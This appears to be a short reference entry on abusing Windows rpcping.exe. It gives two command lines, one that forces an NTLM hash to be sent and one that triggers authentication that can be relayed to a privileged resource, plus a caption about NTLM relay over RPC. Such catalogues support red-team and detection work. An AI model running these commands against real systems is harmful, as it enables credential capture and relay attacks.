Used to verify rpc connection
Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
Capture credentials on a non-standard port
Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port